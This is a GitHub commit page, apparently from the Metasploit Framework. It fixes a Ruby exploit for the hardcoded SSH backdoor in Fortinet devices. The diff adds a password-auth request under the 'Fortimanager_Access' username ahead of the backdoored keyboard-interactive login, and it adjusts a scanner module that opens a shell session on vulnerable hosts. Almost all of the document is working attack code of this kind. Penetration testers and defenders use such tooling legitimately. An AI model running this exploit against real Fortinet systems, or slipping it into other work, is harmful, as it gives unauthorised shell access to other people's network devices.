Skip to content

Commit 3880f6a

Browse files
committed
Finally fix "Unknown admin user ''" after 2yrs
The failed password auth was necessary after all. I misread the PoC. :'( Apparently the password auth sets the username, while the backdoored keyboard-interactive auth sets the password.
1 parent cc2495d commit 3880f6a

File tree

2 files changed

+29
-10
lines changed

2 files changed

+29
-10
lines changed

lib/msf/core/exploit/fortinet.rb

Lines changed: 26 additions & 10 deletions
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,6 @@
11
# -*- coding: binary -*-
22

3+
# https://www.ietf.org/rfc/rfc4252.txt
34
# https://www.ietf.org/rfc/rfc4256.txt
45

56
require 'net/ssh'
@@ -11,21 +12,21 @@ class Net::SSH::Authentication::Methods::FortinetBackdoor < Net::SSH::Authentica
1112
USERAUTH_INFO_RESPONSE = 61
1213

1314
def authenticate(service_name, username = 'Fortimanager_Access', password = nil)
14-
debug { 'Sending SSH_MSG_USERAUTH_REQUEST' }
15+
debug { 'Sending SSH_MSG_USERAUTH_REQUEST (password)' }
1516

1617
send_message(userauth_request(
1718
=begin
18-
string user name (ISO-10646 UTF-8, as defined in [RFC-3629])
19-
string service name (US-ASCII)
20-
string "keyboard-interactive" (US-ASCII)
21-
string language tag (as defined in [RFC-3066])
22-
string submethods (ISO-10646 UTF-8)
19+
string user name
20+
string service name
21+
string "password"
22+
boolean FALSE
23+
string plaintext password in ISO-10646 UTF-8 encoding [RFC3629]
2324
=end
2425
username,
2526
service_name,
26-
'keyboard-interactive',
27-
'',
28-
''
27+
'password',
28+
false,
29+
password || ''
2930
))
3031

3132
loop do
@@ -37,7 +38,22 @@ def authenticate(service_name, username = 'Fortimanager_Access', password = nil)
3738
return true
3839
when USERAUTH_FAILURE
3940
debug { 'Received SSH_MSG_USERAUTH_FAILURE' }
40-
return false
41+
debug { 'Sending SSH_MSG_USERAUTH_REQUEST (keyboard-interactive)' }
42+
43+
send_message(userauth_request(
44+
=begin
45+
string user name (ISO-10646 UTF-8, as defined in [RFC-3629])
46+
string service name (US-ASCII)
47+
string "keyboard-interactive" (US-ASCII)
48+
string language tag (as defined in [RFC-3066])
49+
string submethods (ISO-10646 UTF-8)
50+
=end
51+
username,
52+
service_name,
53+
'keyboard-interactive',
54+
'',
55+
''
56+
))
4157
when USERAUTH_INFO_REQUEST
4258
debug { 'Received SSH_MSG_USERAUTH_INFO_REQUEST' }
4359

modules/auxiliary/scanner/ssh/fortinet_backdoor.rb

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -93,6 +93,9 @@ def run_host(ip)
9393
}
9494

9595
start_session(self, info, ds_merge, false, shell.lsock)
96+
97+
# XXX: Ruby segfaults if we don't remove the SSH socket
98+
remove_socket(ssh.transport.socket)
9699
end
97100

98101
def rport

0 commit comments

Comments
 (0)